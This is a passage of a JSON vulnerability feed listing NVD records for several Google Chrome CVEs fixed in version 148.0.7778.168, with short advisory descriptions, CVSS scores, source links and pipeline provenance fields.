record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8574","cveId":"CVE-2026-8574","aliases":[],"kind":"vulnerability","title":"Use after free in Core in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox...","summary":"Use after free in Core in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in Core in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:19.727Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8574","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8574","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8574","type":"primary","publishedAt":"2026-05-14T20:17:19.727Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8573","cveId":"CVE-2026-8573","aliases":[],"kind":"vulnerability","title":"Integer overflow in Codecs in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker to potentially perform a sandbox escape via a crafted video file.","summary":"Integer overflow in Codecs in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker to potentially perform a sandbox escape via a crafted video file. (Chromium security severity: Medium)","detail":"Integer overflow in Codecs in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker to potentially perform a sandbox escape via a crafted video file. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:19.610Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8573","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8573","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8573","type":"primary","publishedAt":"2026-05-14T20:17:19.610Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8571","cveId":"CVE-2026-8571","aliases":[],"kind":"vulnerability","title":"Insufficient policy enforcement in GPU in Google Chrome on Android prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially...","summary":"Insufficient policy enforcement in GPU in Google Chrome on Android prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)","detail":"Insufficient policy enforcement in GPU in Google Chrome on Android prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:19.383Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","Android","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8571","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8571","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8571","type":"primary","publishedAt":"2026-05-14T20:17:19.383Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8569","cveId":"CVE-2026-8569","aliases":[],"kind":"vulnerability","title":"Out of bounds write in Codecs in Google Chrome on Mac prior to 148.0.7778.168 allowed a remote attacker to potentially perform a sandbox escape via a crafted video file.","summary":"Out of bounds write in Codecs in Google Chrome on Mac prior to 148.0.7778.168 allowed a remote attacker to potentially perform a sandbox escape via a crafted video file. (Chromium security severity: Medium)","detail":"Out of bounds write in Codecs in Google Chrome on Mac prior to 148.0.7778.168 allowed a remote attacker to potentially perform a sandbox escape via a crafted video file. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:19.127Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8569","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8569","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8569","type":"primary","publishedAt":"2026-05-14T20:17:19.127Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8558","cveId":"CVE-2026-8558","aliases":[],"kind":"vulnerability","title":"Out of bounds write in Fonts in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page.","summary":"Out of bounds write in Fonts in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Out of bounds write in Fonts in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:17.773Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8558","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8558","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8558","type":"primary","publishedAt":"2026-05-14T20:17:17.773Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8557","cveId":"CVE-2026-8557","aliases":[],"kind":"vulnerability","title":"Use after free in Accessibility in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to perform privilege escalation via a...","summary":"Use after free in Accessibility in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to perform privilege escalation via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in Accessibility in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to perform privilege escalation via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:17.467Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8557","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8557","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8557","type":"primary","publishedAt":"2026-05-14T20:17:17.467Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8555","cveId":"CVE-2026-8555","aliases":[],"kind":"vulnerability","title":"Use after free in GTK in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code via a crafted HTML page.","summary":"Use after free in GTK in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in GTK in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:17.000Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8555","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8555","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8555","type":"primary","publishedAt":"2026-05-14T20:17:17.000Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8551","cveId":"CVE-2026-8551","aliases":[],"kind":"vulnerability","title":"Use after free in Downloads in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who convinced a user to engage in specific UI gestures to execute arbitrary code via...","summary":"Use after free in Downloads in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who convinced a user to engage in specific UI gestures to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in Downloads in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who convinced a user to engage in specific UI gestures to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:16.163Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8551","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8551","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8551","type":"primary","publishedAt":"2026-05-14T20:17:16.163Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8549","cveId":"CVE-2026-8549","aliases":[],"kind":"vulnerability","title":"Use after free in Media in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page.","summary":"Use after free in Media in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in Media in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:15.807Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8549","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8549","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8549","type":"primary","publishedAt":"2026-05-14T20:17:15.807Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8548","cveId":"CVE-2026-8548","aliases":[],"kind":"vulnerability","title":"Out of bounds write in Media in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape...","summary":"Out of bounds write in Media in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)","detail":"Out of bounds write in Media in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:15.700Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8548","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8548","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8548","type":"primary","publishedAt":"2026-05-14T20:17:15.700Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 